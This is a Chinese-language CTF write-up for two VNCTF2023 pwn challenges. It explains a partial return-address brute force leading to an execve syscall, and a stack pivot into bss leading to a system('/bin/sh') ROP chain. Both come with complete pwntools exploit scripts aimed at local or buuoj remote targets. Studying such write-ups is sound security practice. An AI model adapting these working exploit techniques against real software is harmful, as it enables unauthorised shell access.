XXX
程序分析
首先检查程序保护
从后往前看,给我们留下了syscall这个gadget
IDA静态分析,可以看到第一次读入的时候可以多读取0x10字节。第一个想法就是栈迁移,但是做的过程中感觉实在没有办法绕过pie,迁移到什么地方都不合适。
结合strtol这个return的值,应该可以控制rax进行syscall调用。
最后爆破一下ret地址,调用execve来getshell
exp
from pwn import *
from LibcSearcher import *
from sys import *
context(os="linux",arch = "amd64",log_level = "debug",terminal = ['gnome-terminal', '-x', 'sh', '-c'])
#++++++++++++++++++++++++++++++++++++++++
filename = sys.argv[1]
choice = sys.argv[2]
if choice == "1":
port = sys.argv[3]
# p = remote("node4.buuoj.cn",port)
#++++++++++++++++++++++++++++++++++++++++
r = lambda length: p.recv(length)
ru = lambda x : p.recvuntil(x)
s = lambda x : p.send(x)
sa = lambda delim,x : p.sendafter(delim,x)
sl = lambda x : p.sendline(x)
sla = lambda delim,x : p.sendlineafter(delim,x)
itr = lambda : p.interactive()
leak = lambda addr : log.success("{:x}".format(addr))
def debug():
gdb.attach(p)
pause()
#++++++++++++++++++++++++++++++++++++++++
fake_rbp = "deadbeef"
while True:
try:
p = process(filename)
# p = remote("node4.buuoj.cn",port)
leave_ret_offset = 0x976
syscall_ret_offset = 0x899
phone = flat({
0x0:"59",
0x2: "/bin/sh\x00",
0x30: fake_rbp,
0x38: p8(0x99),
0x39: p8(0x08)
},length = 0x3a)
# debug()
ru("if you give me your number,i will give you some hao_kang_de\n")
s(phone)
ru("hao_kang_de is ")
stack_addr = int(r(12) ,base = 16)
leak(stack_addr)
ru("anything want to say?\n")
sl("1")
sl("cat flag")
itr()
except Exception:
p.close()
我们拿着exp动调来看一下,如果我们第一次输入的内容是 59/bin/sh
,可以看到第一个函数的返回的时候,rdi存放的是strtol返回的地址,也就是/bin/sh字符串的地址,因此后面可以尝试利用syscall直接调用execve
因为需要用到syscall,所以要修改ret的值,但是syscall的偏移在0x8A7,可以看到ret地址的低二字节,这二字节中的低12bit是固定的,但是高4bit需要进行爆破控制,概率16分之一
ret的时候已经控制了rax、rdi,最后的rsi、rdx需要程序来调整一下,因此需要跳到syscall - 13的位置。循环爆破即可getshell。
traveler
程序分析
这题就是签到差不多的栈迁移,静态分析一眼就差不多可以有思路。程序也给出了system@plt,payload构造起来很简单。主要就是迁移的时候要考虑到调用栈会覆盖到got表,需要调整一下栈帧。
exp
因为内存空间是页对齐的,所以开辟bss段的时候会多出来很多空间,因此第一次leave的时候把栈迁移到高处的bss段,再ret回main函数的读取,即相当于任意地址写。即可控制程序执行。
from pwn import *
from LibcSearcher import *
from sys import *
context(os="linux",arch = "amd64",log_level = "debug",terminal = ['gnome-terminal', '-x', 'sh', '-c'])
#++++++++++++++++++++++++++++++++++++++++
filename = sys.argv[1]
choice = sys.argv[2]
if choice == "1":
port = sys.argv[3]
p = remote("node4.buuoj.cn",port)
else:
p = process(filename)
elf = ELF(filename)
#++++++++++++++++++++++++++++++++++++++++
r = lambda length: p.recv(length)
ru = lambda x : p.recvuntil(x)
s = lambda x : p.send(x)
sa = lambda delim,x : p.sendafter(delim,x)
sl = lambda x : p.sendline(x)
sla = lambda delim,x : p.sendlineafter(delim,x)
itr = lambda : p.interactive()
leak = lambda addr : log.success("{:x}".format(addr))
def debug():
gdb.attach(p)
pause()
#++++++++++++++++++++++++++++++++++++++++
fake_rbp = "deadbeef"
fake_ebp = 0x04000000
leave_ret = 0x0000000000401253
msg = 0x4040A0
pop_rdi = 0x00000000004012c3
system_plt = elf.plt["system"]
binsh = msg + 0x20
bss = 0x404d00
start = 0x401216
ru("who r u?\n")
payload = flat({
0x20: [bss,start],
},length = 0x30)
# debug()
s(payload)
# pause()
payload2 = flat({
0x0: bss,
0x8: start,
0x10: binsh,
0x18: system_plt,
0x20: "/bin/sh\x00",
},length = 0x28)
ru("How many travels can a person have in his life?\n")
s(payload2)
pause()
payload3 = flat({
0x0: [pop_rdi,binsh,system_plt],
0x20:[bss - 0x28,leave_ret]
})
s(payload3)
ru("How many travels can a person have in his life?\n")
sl("aaaabbb")
itr()
标签:ru,签到,delim,ret,VNCTF2023,sys,length,pwn,lambda
From: https://www.cnblogs.com/Tw0YY/p/17135624.html